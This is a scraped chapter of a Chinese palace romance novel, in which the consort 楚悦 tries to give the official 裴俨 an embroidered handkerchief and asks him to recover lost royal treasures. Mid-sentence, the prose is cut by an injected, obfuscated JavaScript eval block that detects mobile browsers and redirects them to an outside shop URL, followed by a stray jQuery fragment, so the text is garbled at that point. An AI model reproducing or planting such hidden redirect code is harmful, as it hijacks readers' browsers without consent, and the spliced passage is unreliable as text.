上次缝好手帕,楚悦便将其小心地折好,藏起那朵菡萏,塞在宽宽的腰带中,随身携带,以便私下里遇上裴俨,送给他。
然而连着两日却一直没见到他。
今日起床时,原本不想再将这帕子带在身上,想着左右也遇不见他,但想了想,还是重新将它塞进了腰带。
没想到竟真的碰见了他。
意料之外,有些紧张。深吸一口气,朝他走了过去。
来到他面前,对他扯出一丝笑容:“大人,早。”
本是极为简单的一个动作,事到临头,她却迟迟不敢伸手去腰间取出手帕。
上次送他王氏墨,他义正言辞,据不肯受,今日若他还是据不肯受怎么办?
绞着手,垂眸道:“大人是想来上香么,为何不进殿?”
裴俨昨日从晨风口中得知,李流光为了留在陵宫,不惜让白露打断他的腿,顿觉此人心机颇深。今日前来,本想警告他一番,却没想到先撞见楚悦。
只觉得她今日似乎有些局促,神情语态都不如往日那般自然。
莫不是想跟他坦白身份了?
不动声色道:“我之前下令,没有太妃娘娘的准许,任何人不得踏入寝殿半步,我亦不例外。”
“我只是随意踱步,无意间走到了这处。”
看来今日是天意,要让他们在这处撞见,让她把手帕送出去。
楚悦便把心一横,道:“上次在后山,借用了大人的……”
正说着,裴俨蓦地出声将她打断:“等等。”
短促有力的一声,楚悦霎时止住话头,羞涩地抬眸,却见他肃冷眸光凝望她身后的内院。
“好像有人来了。”裴俨压低嗓音告诉他。
楚悦大惊,一转眸,忙对他道:“那你午后去库房,我有话与你说。”
悄悄话似的说完,不等他回话,转身逃也似的跑去了内院。
望着她远去的背影,裴俨循着她的话头,想起上次在后山,她借用了他的帕子,说改日再送他一方新的。
眸光一暗,她约他去库房,莫不是要送他帕子?
一个宫女从寝殿后走出来,看见他,霎时垂下头,远远对他行礼。
幸好方才阻止的及时,否则让这些下人瞧见她送他那般暧昧不明的东西,只怕又要传出流言蜚语,污了她的美名。
“大人,您是要去进香吗?”茯苓走过来,恭敬地问。
裴俨认出她便是上次带头攀蔑楚悦的宫女,脸一沉道:“本官作甚,你一个小小宫女,无权过问。”
茯苓脸上的谄媚笑容霎时僵住,深深垂头,等裴俨走远,眼角露出一抹怨毒的目光。
*
不过是送个手帕,楚悦竟然一上午都在想着这件事。
一会儿懊恼自己为何要绣朵花在上面,一会儿又觉得,他时不时便板着脸教训自己一顿,她就该捉弄他一番。
可后来思绪渐渐倒向一边,他毕竟位高权重,若是平白让人取笑,岂非太对不住他的身份?
毕竟是救过自己好几次的人,如此捉弄他,只怕有些负心。
于是又从衣橱里翻出来布料,重新裁了一块,赶着时间做出来,绣上了一只仙鹤。
然而那只仙鹤,怎么也看不顺眼。
午睡也免了,转眼到了约定的时辰,只好带上那方绣着菡萏的,去了库房。
只盼一会儿别被他瞧出端倪,等他来了,塞进他手里就逃掉。
起先她还装模作样地翻着账册,后来时不时抬头,望向房门。然而直到落日,裴俨都未曾前来。
她闷闷地回了房,把手帕塞进了箱底。
次日,去寝殿上香出来时,又看见裴俨站在宫门外。
他一身白衣,站在晨光里,清冷高贵,分外好看,楚悦却视而不见,迈出殿门,便拐进了后院。
裴俨知道,她这是生气了,怪他昨日没去赴约。
看着眼前这道宫门,他不禁自嘲,真是作茧自缚。
中午,楚悦给李流光送完汤药,出来时,无意间,又瞥见裴俨。
炎炎烈日下,他伫立在宫墙外,好似一座玉山,身上散发着阵阵凉意,深邃目光直直凝望进她的眼里。
楚悦心绪翻涌,与他对视须臾,却还是转身回了后院。
傍晚端着药从后院走出,经过廊下,楚悦竟然又一次远远地看见,宫门外,那道翩然白影立在夕阳的余晖里。
他的位置,好似毫厘都未曾变过。
望过来的眼神,比中午还要深切。
目光交接的一刹,楚悦好似猝不及防被一股电流击中,停在了原地。
他难道从中午一直站到了现在?
不,怎么可能。
这般想着,端着药,不再看他,径直走进了李流光房里。
李流光靠在榻上,看见楚悦进门,立即放下手中医书,羞涩地一笑。
“草民一时幼稚之举,让娘娘如此辛苦,草民实在惶恐,受之有愧。”
楚悦放下托盘,把药端到他面前:“趁热喝吧。”
脑子里却挥之不去,是方才裴俨看过来那深切的眼神。或许是她的错觉,总觉得那威严的目光里头,透着几分常人难以察觉的委屈。
李流光喝完药,却见楚悦目光空洞,眉间一缕忧色,忙问:“娘娘可是遇到了什么麻烦?”
楚悦回神,从他手里拿走药碗,放回桌上。
“我还有别的事情,你先歇下吧。”
迅速转身,走了出去,生怕慢上一刻,那人落寞地回去,再一次错失与他见面的机会。
来到门口,楚悦蓦地呆住。
裴俨已经不在方才的位置,他竟然已经越过宫门,正在朝这边大步踏来。
看见她走出来,他一怔,陡然停住。
视线交错,有一种奇妙的情愫,隔着他们之间这几丈远的距离在悄悄地流转。
楚悦唇角微微牵动,看见他的眸光也变得柔和起来,严峻的面容都跟着变得温和可亲。
对视须臾,从他脸上错开视线,带着一丝笑容,转头朝着后院大步而去。
望着她蹁跹远去的背影,裴俨眉头一皱,瞬而想到什么,眸光一亮,迅速转身,出了宫门。
*
楚悦回房,找出那方绣着菡萏的手帕。
小心地折好,放在身上,心潮澎湃地步出房门,走进将昏的暮色。
来到库房所在的甬道,裴俨早已等在门外。
竟有如此默契,她并未亲口告诉他,他便赶来赴这一场迟到了一日的约。
最后一缕夕阳掠过他硬挺的鼻梁,他听见她的脚步声,侧首看来。
楚悦迎着他的目光,缓步来到他的面前,伸手探向腰间。
裴俨凝着她动作,负在身后的手微微一动,却见她取出库房的钥匙,将门打开后,走了进去。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251291|139619||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>他怅然若失,跟着她走进了屋中,见她走到桌边,在上面翻找。
“你在找什么?”
停下脚步,望着她弯下去的细腰,他眸光一暗,被屋中昏暗的光线遮掩。
楚悦找出那日整理出来的账册,定了定心神,转身来到他面前。
“这是遗失物件的名录,太妃娘娘想请大人帮忙,尽快将其追回。”
“此乃我分内之事,为何娘娘还要让你特意叮嘱?”
楚悦紧紧攥着手中账册,举到他面前,垂眸弱声道:“宝物遗失,娘娘自知责任重大,一日不能寻回,娘娘便一日不得安枕。所以娘娘想恳请大人竭尽所能,尽快追回。”
裴俨轻轻叹息了声,还是一口一个娘娘地称呼自己,如今竟是这般熟稔,连耳朵也不红了。
还要演到什么时候?
“你叫我来,就只是为了宝物?”望着她腰带,他胸间有些滞闷。
楚悦的脸刷地一烫,嗫喏道:“自然还有别的事情……”
“什么事情?”
天色完全暗了下来,屋里更是昏暗不能视物,所有的一切好似都蒙上了一层神秘的薄纱。
楚悦一咬唇,厚着脸皮道:“你若答应太妃娘娘的请求,我便告诉你……”
“那若是我不答应呢?”裴俨幽幽地问。
楚悦愕然抬眸,撞上他深不见底的视线,须臾之间,滢然水光已在在眼眶里打转:“大人……方才大人还说,这是大人的分内之事……”
“大人你怎能出尔反尔……”
“御下不严,遗失上百件皇室宝物,”裴俨深深凝着她泫然欲泣的模样,毫不留情又故意加上一条,“还德行有亏,与外男牵扯不清……”
“没有的事!”楚悦忙打断他,鼻音浓重。
裴俨怔愣了一瞬,悠悠地问:“当真没有?”
“大人不是一向敬重太妃娘娘,为何如今这般不相信她?”
心中醋意被她浓浓的哭腔淹没了下去,裴俨柔声道:“我自是相信娘娘的。”
叹息了声,又道:“可遗失这般多宝物,娘娘身为守陵太妃,难逃其咎,若宝物追不回,怕是要用性命相抵。责任重大,便是我,也不敢轻易承担。”
宝物流落民间,如同百川入海,上次那当铺老板潜逃未遂一案,查获的宝物不过是九牛一毛。
又有流寇劫掠,如今要想尽数追回,只怕是要费上一番功夫了。
楚悦霎时害怕极了:“连大人也承担不了么……”
脑中嗡嗡作响,就快站不住,却听裴俨决然道:
“裴某性命不足为惜,愿为娘娘效犬马之劳,竭尽所能,尽快追回所有宝物。”
楚悦不由一怔,颤声问:“真的吗?”
“千真万确。”
“一切都交给裴某,请娘娘放心。”
他语气笃定,仿佛有千钧之力汇入楚悦的身体,给她无限的勇气。
惊骇散去,放松下来,才觉脸上一凉,竟然没出息地哭了。
忙低头拭泪,头顶传来他的声音:“帕子呢?拿出来擦一擦。”
低磁而温柔,与方才铿锵的语气截然不同,携来他身上淡淡茶香,他似乎俯首,朝她靠近了一些。
楚悦心跳怦然,一想到自己腰间那方绣了菡萏的手帕,便觉周身热潮涌动,不敢抬头看他的脸:“什么帕子……”
“你叫我来,不是送我帕子的么?”